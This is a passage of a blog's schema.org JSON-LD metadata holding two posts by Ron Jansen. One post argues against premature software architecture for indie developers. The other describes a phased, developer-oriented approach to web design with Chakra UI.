      "@id": "https://rxj.dev/#ron-jansen",
      "name": "Ron Jansen",
      "url": "https://rxj.dev/about/",
      "image": "https://rxj.dev/profile2.jpg",
      "jobTitle": "Founder & CTO",
      "description": "Founder and CTO writing on security, AI agents and software architecture.",
      "sameAs": [
        "https://github.com/ronxjansen",
        "https://twitter.com/ronxjansen",
        "https://guardbase.ai"
      ]
    },
    "publisher": {
      "@type": "Organization",
      "@id": "https://rxj.dev/#organization",
      "name": "rxj.dev",
      "url": "https://rxj.dev",
      "logo": {
        "@type": "ImageObject",
        "url": "https://rxj.dev/images/icon-512.png",
        "width": 512,
        "height": 512
      }
    },
    "isPartOf": {
      "@type": "Blog",
      "@id": "https://rxj.dev/#blog",
      "name": "rxj.dev",
      "url": "https://rxj.dev"
    },
    "mainEntityOfPage": {
      "@type": "WebPage",
      "@id": "https://rxj.dev/posts/write-maintainable-code-as-indie-dev/"
    },
    "articleBody": "Last few years I have been obessing over software architecture a bit too much. It was a phase. Imposter syndrome kicked in I guess. No matter what I was building, I tried to create extreemly scalable software, that was and would be easy to maintain.\n\nApplying DDD on a codebase of 5k LOC. Springling some Uncle Bob on a codebase of 10k LOC. Codebases build to last. Codebases build to scale. But without users.\n\nAs an indie developer speed of development is crucial. When you have not validated product market fit yet, then getting the product out there is the only thing that matters. Code maintainability is not your concern this stage. Making sure you didn't write the all that code for nothing, is your only concern.\n\nBy applying one (or more) of these architectures you by definition make your code more complex. And these (premature) optimizations have prevented me in the past from working on the things I really should be working on: talking to users. I slowed myself down unnecesarily. A big no no. When product market fit is not yet validated - just ignore any theories and write code. And don't forget to ship it. Once you reach (some) traction, you can always refactor the code. Also, at that point you probably understand much better what the real value of your application is, and what the important bits are - and thus you can refactor your code much more effectively.\n\nAfter reading about these theories, I learned some much that architecting code is all about reducing the required human resources to develop and maintain a project. Since there is no project to maintain yet, there are no rules regarding architecture either. Just stick to any tech what you know and write. You don't even have to structure it. It is okay if it is slow, complex or whatever. It this stage it only matters if you can validate product market fit."
  },
  {
    "@context": "https://schema.org",
    "@type": "BlogPosting",
    "@id": "https://rxj.dev/posts/how-to-design-a-web-app-as-a-developer/",
    "url": "https://rxj.dev/posts/how-to-design-a-web-app-as-a-developer/",
    "headline": "How to design a web app as developer",
    "name": "How to design a web app as developer",
    "description": "A developer-friendly approach to web design that breaks the process into manageable phases—no Figma skills required.",
    "datePublished": "2021-11-03T22:40:32.169Z",
    "dateModified": "2021-11-03T22:40:32.169Z",
    "inLanguage": "en",
    "wordCount": 563,
    "author": {
      "@type": "Person",
      "@id": "https://rxj.dev/#ron-jansen",
      "name": "Ron Jansen",
      "url": "https://rxj.dev/about/",
      "image": "https://rxj.dev/profile2.jpg",
      "jobTitle": "Founder & CTO",
      "description": "Founder and CTO writing on security, AI agents and software architecture.",
      "sameAs": [
        "https://github.com/ronxjansen",
        "https://twitter.com/ronxjansen",
        "https://guardbase.ai"
      ]
    },
    "publisher": {
      "@type": "Organization",
      "@id": "https://rxj.dev/#organization",
      "name": "rxj.dev",
      "url": "https://rxj.dev",
      "logo": {
        "@type": "ImageObject",
        "url": "https://rxj.dev/images/icon-512.png",
        "width": 512,
        "height": 512
      }
    },
    "isPartOf": {
      "@type": "Blog",
      "@id": "https://rxj.dev/#blog",
      "name": "rxj.dev",
      "url": "https://rxj.dev"
    },
    "mainEntityOfPage": {
      "@type": "WebPage",
      "@id": "https://rxj.dev/posts/how-to-design-a-web-app-as-a-developer/"
    },
    "articleBody": "As indie developer I have one big issue; I really can't come up with a beautifull designed websites. I am fluent in Javascript, CSS and HTML. I can translate a designed Figma/Sketch file into a beautifull working web app or landingpage. But I just cannot design something properly.\n\nI have tried many things over the years. Initially, I thought it was the tools. So, to overcome this I learned how Sketch and Figma worked. That didn't work out great. From using these tools myself I only learned which tools I preferred and why (I like Figma a lot by the way). But being able to use design tools, doesn't make you a designer.\n\nThis frustrations is coming back to me again and again. So, it took the last few days to reflect over this and try to come up with a solution that actually works. I have identified a few issues with my design approach\nI focussed on the tools, not the outcome. I thought having knowledge on how Figma or Sketch works, made me a better designer.\nI skipped multiple steps in the design process, mainly because of impatience. I wanted to create a beautifull web design on a blanc canvas, while ignoring design steps like low fidelity mockups, high fidelity mockups, user interaction design and user experience design.\nI was very result driven, and didn't account for the process. Every beautifull website is not created over night by a single designer. Design takes time. Especially, when you are designing and building the website yourself, you should be satisified with taking baby steps.\nI also tried design without any design tools. I just fired up a dev server and started hacking with CSS or a component library like Chakra-UI. However, again the same issue here, I didn't break my design up in multiple phases. I want from a blank canvas to a beautifull navbar, that didn't align with anything else in the site. I was - again - not applying any of the practises learned from low fideltiy or user interaction design phases. I was just focussing on a single component - while ignoring the bigger picture.\nI cannot draw - so creating any custom design tokens are out of my league\n\nReflecting over the process and steps I took (or didn't take), identified 2 main issues: I was being impatience and I didn't follow any basic plan to get from a blank canvas to a beautifull design.\n\nSo, here is the challenge I came up with:\nDon't use any other graphic design tools like Figma, Sketch or Adobe XD. Just stick to the tools you know best. In my case: Chakra UI and their low level design system.\nSplit the design process in 3 phases:\n 1. Low fidelity design: create basic layouts, only using black/white colors and whitepace.\n 2. Make sure the site works: users can click links, the content is finished.\n 3. As a last step: add colours, fonts and animations\n\nSo, here is my developer oriented process to design websites:\nImplement low fidelty mockups in the browser, using default Chakra UI, Styled System or any other design system\nAdd colors, fonts, shadows, hovers, animations and spacing to create a high fideltiy mock up - mainly using a centralized theme of the design system\nOutsource any other missing design tokens, like a logo, images and photos to an actual designer"
  }
]